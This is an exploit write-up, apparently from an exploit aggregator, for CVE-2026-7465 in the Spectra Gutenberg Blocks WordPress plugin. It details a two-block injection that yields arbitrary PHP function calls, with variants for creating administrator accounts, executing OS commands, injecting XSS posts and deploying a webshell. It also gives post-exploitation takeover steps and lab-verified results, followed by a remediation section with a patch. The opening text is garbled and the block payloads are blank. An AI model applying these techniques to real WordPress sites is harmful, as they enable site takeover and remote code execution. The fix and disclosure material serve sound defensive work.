## https://sploitus.com/exploit?id=1BC4A46C-7C72-5768-B787-B8C181C5FED7
# CVE-2026-7465 - Spectra Gutenberg Blocks is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] ); // block_type->render_callback, $this->attributes, $block_content, $this );
```
This invokes the attacker-specified function with attacker-controlled
arguments, achieving Arbitrary PHP Function Call.
================================================================================
## EXPLOITATION TECHNIQUE
================================================================================
### Two-Block Payload
The exploit requires exactly two blocks in the same post content:
**BLOCK 1 (Registration Block):**
- Block name: Any `uagb/`-prefixed name (e.g., `uagb/cve-2026-7465`)
- Block attributes: `{"render_callback": ""}`
- Purpose: When Spectra's `render_block` filter processes this block,
it registers the fake block type with the attacker-specified
`render_callback` in the `WP_Block_Type_Registry`.
**BLOCK 2 (Trigger Block):**
- Block name: SAME as Block 1 (e.g., `uagb/cve-2026-7465`)
- Block attributes: Function-specific arguments
- Inner content: Optional, used as second argument to the callback
- Purpose: Since the block type is now registered with a `render_callback`,
WordPress's block rendering engine will call `call_user_func()` on it,
executing the attacker-specified function with the second block's
attributes and content as arguments.
### Sequential Block Rendering Flow
```
WordPress parses post content โ encounters Block 1 (uagb/cve-2026-7465)
โ
โโ Is block registered? โ NO โ Output static HTML (no render_callback called)
โ
โโ apply_filters('render_block') โ Spectra's render_block() at priority 5
โ โโ Block name starts with "uagb/"? โ YES
โ โโ Is registered? โ NO
โ โโ $registry->register("uagb/cve-2026-7465", {"render_callback": "wp_insert_user"})
โ โ WP_Block_Type created with malicious render_callback
โ
WordPress continues โ encounters Block 2 (uagb/cve-2026-7465)
โ
โโ Is block registered? โ YES (registered by Block 1)
โ
โโ is_dynamic()? โ YES (is_callable("wp_insert_user") = true)
โ
โโ call_user_func("wp_insert_user", $attributes, $content, $block)
โ โ wp_insert_user(array with admin user data) โ ADMIN USER CREATED!
โ
โโ apply_filters('render_block') โ Spectra's render_block() at priority 5
โโ Block name starts with "uagb/"? โ YES
โโ Is registered? โ YES โ Skip (already registered)
```
================================================================================
## EXPLOIT VARIANTS
================================================================================
### Variant 1: Privilege Escalation via wp_insert_user (PHP 8.x Safe)
**Impact:** Administrator user creation โ Full site takeover โ RCE
Block 1:
```
```
Block 2:
```
```
**Why it works on PHP 8.x:**
- `wp_insert_user` is a WordPress userland function (defined in PHP)
- PHP userland functions silently ignore extra arguments (deprecation notice only)
- The 3-argument call `call_user_func("wp_insert_user", $attrs, $content, $block)`
effectively becomes `wp_insert_user($attrs)` (extra args ignored)
- `$attrs` contains the full user creation array with role=administrator
**Post-exploitation:**
1. Log in as the new administrator
2. Navigate to Appearance > Theme File Editor
3. Edit a PHP template file with ``
4. Access the modified file URL for direct OS command execution
### Variant 2: Direct OS Command Execution via array_walk (PHP 7.x)
**Impact:** Immediate OS command execution
Block 1:
```
```
Block 2:
```
system
```
**Mechanism:**
- `array_walk($attributes, $content, $block)` is called by WordPress
- `array_walk` accepts `(array, callable, mixed)` โ type-compatible in PHP 8.x
- For each element, calls `$content($value, $key, $userdata)`
- `system("whoami", 0, $block_obj)` โ command executes (PHP 7.x)
- On PHP 8.x: `system()` is an internal function, ArgumentCountError
for the 3rd argument from `array_walk`
**Note:** This variant works reliably on PHP 7.x. On PHP 8.x, use
Variant 1 (wp_insert_user) instead.
### Variant 3: Arbitrary Post Creation via wp_insert_post
**Impact:** Content injection, phishing page creation, SEO spam
Block 1:
```
```
Block 2:
```
alert('XSS')","post_status":"publish","post_type":"post"} /-->
```
### Variant 4: Webshell Deployment Chain
**Impact:** Persistent PHP webshell on the server
This requires a multi-step chain:
1. Use `wp_insert_user` to create an admin user
2. Use the admin session to upload a malicious plugin via `wp-admin/plugin-install.php`
3. The plugin contains a PHP webshell
Alternatively, use `wp_insert_post` to create a post, then use admin
access to modify theme files via the theme editor.
================================================================================
## PROOF OF CONCEPT RESULTS (Lab Verified)
================================================================================
### Environment
- WordPress: Latest (6.x)
- PHP: 8.2.12 (XAMPP, Windows)
- Plugin: Spectra Gutenberg Blocks 2.19.25 (active)
- Database: MySQL (XAMPP)
### Test Results
**TEST 1: Arbitrary render_callback Registration**
- Registered fake block `uagb/poc-test-*` with `render_callback = "phpinfo"`
- Result: SUCCESS - Block type registered, `is_dynamic()` = true
**TEST 2: wp_insert_user Privilege Escalation (PHP 8.2)**
- Registered block with `render_callback = "wp_insert_user"`
- Called `call_user_func("wp_insert_user", $user_data, "", null)`
- Result: SUCCESS - Administrator user created (ID: 19)
- Verification: User role confirmed as `administrator` in database
**TEST 3: array_walk + passthru Direct RCE (PHP 8.2)**
- Registered block with `render_callback = "array_walk"`
- Called `array_walk(array("whoami"), "passthru", $mock_block)`
- Result: FAILED - PHP 8.2 ArgumentCountError (passthru expects max 2 args)
- Note: Would work on PHP 7.x where extra args produce warnings only
**TEST 4: wp_insert_post Content Injection (PHP 8.2)**
- Registered block with `render_callback = "wp_insert_post"`
- Called `call_user_func("wp_insert_post", $post_data, "", null)`
- Result: SUCCESS - New post created (ID: 82)
**TEST 5: Full HTTP Exploit Chain (Frontend Rendering)**
- Created post (ID: 83) with two-block payload via direct DB
- Accessed post via HTTP: `GET /WordpressLabReseacher/?p=83`
- Spectra's `render_block` filter registered the fake block type
- WordPress rendered second block โ `wp_insert_user` called
- Result: SUCCESS - Admin user `rce_poc_admin_0752d0ac` (ID: 21) created
- Role verified: `a:1:{s:13:"administrator";b:1;}`
================================================================================
## REMEDIATION
================================================================================
### Recommended Fix
The `render_block()` method should validate `$block['attrs']` before
passing it to `WP_Block_Type_Registry::register()`. Specifically:
1. **Whitelist allowed properties**: Only pass known-safe block type
properties (e.g., `attributes` schema, `supports`). Never pass
`render_callback` from user-controlled data.
2. **Strip dangerous properties**: Remove `render_callback`,
`script_handles`, `view_script_handles`, and any other properties
that could be abused before registering the block type.
3. **Validate block names**: Only register block names that correspond
to actual Spectra block types (check against a known list of valid
block slugs).
### Example Fix
```php
public function render_block( $block_content, $block ) {
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
// FIXED: Remove dangerous properties from attrs before registering
$safe_attrs = $block['attrs'];
unset( $safe_attrs['render_callback'] );
unset( $safe_attrs['script_handles'] );
unset( $safe_attrs['view_script_handles'] );
unset( $safe_attrs['editor_script_handles'] );
unset( $safe_attrs['style_handles'] );
unset( $safe_attrs['view_style_handles'] );
unset( $safe_attrs['editor_style_handles'] );
unset( $safe_attrs['variation_callback'] );
$registry->register( $block['blockName'], $safe_attrs );
}
}
// ... rest of method
}
```
================================================================================
## TIMELINE
================================================================================
- Vulnerability introduced: When the render_block() registration
feature was added (to support WP Hide blocks in WP 6.9)
- Affected versions: All versions up to and including 2.19.25
- Patched version: > 2.19.25 (pending/available)
================================================================================
## REFERENCES
================================================================================
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/trunk/classes/class-uagb-init-blocks.php#L335
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/tags/2.19.25/classes/class-uagb-init-blocks.php#L335
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/trunk/classes/class-uagb-init-blocks.php#L330
- https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/tags/2.19.25/classes/class-uagb-init-blocks.php#L330
================================================================================
## FILES IN THIS DIRECTORY
================================================================================
- poc_direct_trigger.php - Direct PHP PoC (loads WordPress, tests all variants)
- poc_http_exploit.php - Full HTTP-based exploit simulation
- poc_cve-2026-7465.php - Comprehensive PoC with REST API approach
- exploit_log.txt - Exploit execution log
- DETAIL_CVE-2026-7465.md - This documentation file
================================================================================